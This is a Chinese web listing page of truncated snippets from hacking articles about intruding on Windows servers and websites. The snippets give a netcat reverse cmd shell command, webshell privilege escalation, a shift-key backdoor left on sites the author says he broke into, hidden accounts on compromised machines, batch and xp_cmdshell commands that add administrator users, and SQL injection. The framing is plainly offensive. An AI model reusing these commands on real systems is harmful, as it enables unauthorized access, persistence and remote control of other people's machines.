电脑基础

webshell提权小技巧 cmd路径: c:\\windows\\temp\\cmd.exe nc也在同目录下 例如反弹cmdshell： "c:\\windows\\temp\\nc.exe -vv ip 999 -e c:\\windo...

在webshell下执行CMD，按照常规： path:c:\\windows\\temp\\cmd.exe 查用户： Command: /c net user 这个情况是system32目录的net.exe 你能调用到。 要是调用不到，只能传文件到执行...

1、利用Sc getkeyname来获取服务的名字 首先我们可以利用 net start 来得到系统中的服务显示名称 然后我们利用 sc getkeyname 来得到服务的真实名称 这样我们就得到了服务的真实名称，然后我们利用 net stop 服务名...

前几天搞了几个网站，之前搞的站一般不留后门，其实基本留了都被删除了，这次下决心要搞个shift后门留着自己用的，秒杀给你介绍一个方法！ 将下面的代码保存成inf文件 [Version] Signature="$WINDOWS NT$"...

入侵是指未授权的非法进入，而安全检测是授权的检测！对自己的程序进行测试，当然是调试或者是安全检测了！这次就把自己对程序的测试过程发出来！因为是利用程序中的漏洞，在这利用的是SQL注入！我们要进行SQL注入！首先要找注入点了 我们要对这个程序进行测试！注...

无奈到了自己这里今天下午又碰到个一样的站 纠结··· 不多说了 首先感谢小帆同学 猪猪同学对程序代码的分析·（我自己硬是整了半个小时没整出来利用方法·） 此后台默认的账号密码是 ad...

1、服务器在内网。 2、做了tcp/ip筛选。 先执行下面cmd命令：cmd /c regedit -e c:\\1.reg HKEY_LOCAL_MACHINE\\SYSTEM\\ControlSet001\\Services\\Tcpip，导出注册...

仔细看下面的图片，发现什么了吗。SU的提权可以溢出(如何防止溢出脚本之家技术团队帮您解决服务器安全问题)，但是出错了。不是限制了cmd命令，注意 Recv: 530 Not logged in, home directory does not exis...

在肉鸡上建立一个隐藏的账户，以备需要的时候使用。账户隐藏技术可谓是最隐蔽的后门，一般用户很难发现系统中隐藏账户的存在，因此危害性很大，本文就对隐藏账户这种黑客常用的技术进行揭密。 在隐藏系统账户之前，我们有必要先来了解一下如何才能查看系统中已经存在的账...

操作步骤： 1、在自己电脑里面建立一个.txt文本文件. 2、在里面输入内容： @echo off net user xixi 123456 /add 注释：前面xixi是用户名后面123456是密码； net localgroup administr...

一个存在备份的页面，但是一般直接访问的话都会出现 看到系统有个广告位的地方，还可以进行url地址的提交，于是就可以把备份的地址写进去即可 之后再管理广告位，直接点击那个URL地址，即可看到我们熟悉的备份页面了，O(∩_∩)O哈哈~ fo...

首先确保得到数据库超级管理员权限 然后执行如下SQL命令: 1、exec master.dbo.xp_cmdshell \’net user hacker hacker /add\’ 2、exec master.dbo.xp_c...